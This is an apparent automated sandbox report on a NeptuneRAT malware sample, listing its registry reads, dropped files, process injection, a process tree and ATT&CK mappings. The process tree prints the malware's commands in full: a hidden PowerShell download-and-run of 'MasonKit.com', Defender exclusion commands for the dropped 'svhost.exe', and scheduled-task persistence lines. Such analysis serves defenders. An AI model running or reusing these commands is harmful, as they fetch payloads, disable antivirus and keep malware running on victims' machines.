neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	svhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Bypassed.exe

Executes dropped EXE 5 IoCs

pid	Process
4588	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe
2940	svhost.exe
4544	svhost.exe
4976	gu1shiqe.mem.exe
4940	svhost.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe
File opened for modification	C:\Windows\svhost.exe	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4664	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dtvqrmikdorpkv\AppIdList	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dtvqrmikdorpkv\Reason = "2147750679"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1176	schtasks.exe
1848	SCHTASKS.exe
1036	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1036	powershell.exe
1036	powershell.exe
4080	powershell.exe
4080	powershell.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4412	powershell.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4412	powershell.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4412	powershell.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4412	powershell.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4976	gu1shiqe.mem.exe
4412	powershell.exe
4976	gu1shiqe.mem.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3356	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4588	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeIncreaseQuotaPrivilege	1036	powershell.exe
Token: SeSecurityPrivilege	1036	powershell.exe
Token: SeTakeOwnershipPrivilege	1036	powershell.exe
Token: SeLoadDriverPrivilege	1036	powershell.exe
Token: SeSystemProfilePrivilege	1036	powershell.exe
Token: SeSystemtimePrivilege	1036	powershell.exe
Token: SeProfSingleProcessPrivilege	1036	powershell.exe
Token: SeIncBasePriorityPrivilege	1036	powershell.exe
Token: SeCreatePagefilePrivilege	1036	powershell.exe
Token: SeBackupPrivilege	1036	powershell.exe
Token: SeRestorePrivilege	1036	powershell.exe
Token: SeShutdownPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeSystemEnvironmentPrivilege	1036	powershell.exe
Token: SeRemoteShutdownPrivilege	1036	powershell.exe
Token: SeUndockPrivilege	1036	powershell.exe
Token: SeManageVolumePrivilege	1036	powershell.exe
Token: 33	1036	powershell.exe
Token: 34	1036	powershell.exe
Token: 35	1036	powershell.exe
Token: 36	1036	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeIncreaseQuotaPrivilege	4080	powershell.exe
Token: SeSecurityPrivilege	4080	powershell.exe
Token: SeTakeOwnershipPrivilege	4080	powershell.exe
Token: SeLoadDriverPrivilege	4080	powershell.exe
Token: SeSystemProfilePrivilege	4080	powershell.exe
Token: SeSystemtimePrivilege	4080	powershell.exe
Token: SeProfSingleProcessPrivilege	4080	powershell.exe
Token: SeIncBasePriorityPrivilege	4080	powershell.exe
Token: SeCreatePagefilePrivilege	4080	powershell.exe
Token: SeBackupPrivilege	4080	powershell.exe
Token: SeRestorePrivilege	4080	powershell.exe
Token: SeShutdownPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeSystemEnvironmentPrivilege	4080	powershell.exe
Token: SeRemoteShutdownPrivilege	4080	powershell.exe
Token: SeUndockPrivilege	4080	powershell.exe
Token: SeManageVolumePrivilege	4080	powershell.exe
Token: 33	4080	powershell.exe
Token: 34	4080	powershell.exe
Token: 35	4080	powershell.exe
Token: 36	4080	powershell.exe
Token: SeDebugPrivilege	2940	svhost.exe
Token: SeDebugPrivilege	4544	svhost.exe
Token: SeDebugPrivilege	4544	svhost.exe
Token: SeDebugPrivilege	4976	gu1shiqe.mem.exe
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2844	Conhost.exe
2196	Conhost.exe
4932	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4004 wrote to memory of 4588	4004	Bypassed.exe	83
PID 4588 wrote to memory of 1036	4588	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe	84
PID 4588 wrote to memory of 4080	4588	fd78cbf2-5723-41af-ba32-647e73fbf20c.exe	87
PID 4544 wrote to memory of 4976	4544	svhost.exe	92
PID 4544 wrote to memory of 1848	4544	svhost.exe	93
PID 4976 wrote to memory of 632	4976	gu1shiqe.mem.exe	5
PID 4976 wrote to memory of 688	4976	gu1shiqe.mem.exe	7
PID 4976 wrote to memory of 896	4976	gu1shiqe.mem.exe	11
PID 4976 wrote to memory of 388	4976	gu1shiqe.mem.exe	13
PID 4976 wrote to memory of 764	4976	gu1shiqe.mem.exe	14
PID 4976 wrote to memory of 756	4976	gu1shiqe.mem.exe	15
PID 4976 wrote to memory of 676	4976	gu1shiqe.mem.exe	16
PID 4976 wrote to memory of 1068	4976	gu1shiqe.mem.exe	17
PID 4976 wrote to memory of 1088	4976	gu1shiqe.mem.exe	18
PID 4976 wrote to memory of 1116	4976	gu1shiqe.mem.exe	19
PID 4976 wrote to memory of 1280	4976	gu1shiqe.mem.exe	20
PID 4976 wrote to memory of 1308	4976	gu1shiqe.mem.exe	21
PID 4976 wrote to memory of 1420	4976	gu1shiqe.mem.exe	23
PID 4976 wrote to memory of 1436	4976	gu1shiqe.mem.exe	24
PID 4976 wrote to memory of 1468	4976	gu1shiqe.mem.exe	25
PID 4976 wrote to memory of 1520	4976	gu1shiqe.mem.exe	26
PID 4976 wrote to memory of 1564	4976	gu1shiqe.mem.exe	27
PID 4976 wrote to memory of 1612	4976	gu1shiqe.mem.exe	28
PID 4976 wrote to memory of 1688	4976	gu1shiqe.mem.exe	29
PID 4976 wrote to memory of 1704	4976	gu1shiqe.mem.exe	30
PID 4976 wrote to memory of 1728	4976	gu1shiqe.mem.exe	31
PID 4976 wrote to memory of 1776	4976	gu1shiqe.mem.exe	32
PID 4976 wrote to memory of 1928	4976	gu1shiqe.mem.exe	33
PID 4976 wrote to memory of 1936	4976	gu1shiqe.mem.exe	34
PID 4976 wrote to memory of 1268	4976	gu1shiqe.mem.exe	35
PID 4976 wrote to memory of 1512	4976	gu1shiqe.mem.exe	36
PID 4976 wrote to memory of 1808	4976	gu1shiqe.mem.exe	37
PID 4976 wrote to memory of 2052	4976	gu1shiqe.mem.exe	38
PID 4976 wrote to memory of 2148	4976	gu1shiqe.mem.exe	39
PID 4976 wrote to memory of 2292	4976	gu1shiqe.mem.exe	40
PID 4976 wrote to memory of 2424	4976	gu1shiqe.mem.exe	42
PID 4976 wrote to memory of 2500	4976	gu1shiqe.mem.exe	43
PID 4976 wrote to memory of 2580	4976	gu1shiqe.mem.exe	44
PID 4976 wrote to memory of 2644	4976	gu1shiqe.mem.exe	46
PID 4976 wrote to memory of 2700	4976	gu1shiqe.mem.exe	47
PID 4976 wrote to memory of 2724	4976	gu1shiqe.mem.exe	48
PID 4976 wrote to memory of 2764	4976	gu1shiqe.mem.exe	49
PID 4976 wrote to memory of 2772	4976	gu1shiqe.mem.exe	50
PID 4976 wrote to memory of 3004	4976	gu1shiqe.mem.exe	51
PID 4976 wrote to memory of 3076	4976	gu1shiqe.mem.exe	52
PID 4976 wrote to memory of 3084	4976	gu1shiqe.mem.exe	53
PID 4976 wrote to memory of 3140	4976	gu1shiqe.mem.exe	54
PID 4976 wrote to memory of 3204	4976	gu1shiqe.mem.exe	55
PID 4976 wrote to memory of 3356	4976	gu1shiqe.mem.exe	56
PID 4976 wrote to memory of 3376	4976	gu1shiqe.mem.exe	57
PID 4976 wrote to memory of 3564	4976	gu1shiqe.mem.exe	58
PID 4976 wrote to memory of 3836	4976	gu1shiqe.mem.exe	60
PID 4976 wrote to memory of 4036	4976	gu1shiqe.mem.exe	62
PID 4976 wrote to memory of 4124	4976	gu1shiqe.mem.exe	63
PID 4976 wrote to memory of 4428	4976	gu1shiqe.mem.exe	66
PID 4976 wrote to memory of 904	4976	gu1shiqe.mem.exe	68
PID 4976 wrote to memory of 3896	4976	gu1shiqe.mem.exe	69
PID 4976 wrote to memory of 2664	4976	gu1shiqe.mem.exe	70
PID 4976 wrote to memory of 2216	4976	gu1shiqe.mem.exe	71
PID 4976 wrote to memory of 604	4976	gu1shiqe.mem.exe	72
PID 4976 wrote to memory of 4836	4976	gu1shiqe.mem.exe	73
PID 4976 wrote to memory of 2912	4976	gu1shiqe.mem.exe	74
PID 4976 wrote to memory of 4736	4976	gu1shiqe.mem.exe	75
PID 4976 wrote to memory of 1356	4976	gu1shiqe.mem.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1116

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d1b37282-41ca-49ae-a361-f1ba2c4d49d6 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-936a772b-cf77-44f9-ae6b-d4e9fa536a0e -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-819c6411-ba73-44b6-bb07-fdb72869afd1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e6fb28a6-4ed8-4c65-b4d3-12c4cc697002 -LifetimeId:bc0515de-2050-49d8-95a3-f8877d3e540c -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1564
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3140
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Users\Admin\AppData\Local\Temp\gu1shiqe.mem.exe
    "C:\Users\Admin\AppData\Local\Temp\gu1shiqe.mem.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4976
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1848
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1036
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4412
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3352
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1176
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:2196
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD9A2.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1704
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2148

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3204

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3356
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Users\Admin\AppData\Local\Temp\fd78cbf2-5723-41af-ba32-647e73fbf20c.exe
    "C:\Users\Admin\AppData\Local\Temp\fd78cbf2-5723-41af-ba32-647e73fbf20c.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3564

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3836

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4036

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4124

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4428

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2216

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4836

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2912

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2480

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1252

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2940

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:232

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4932

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:4940

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:2324

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery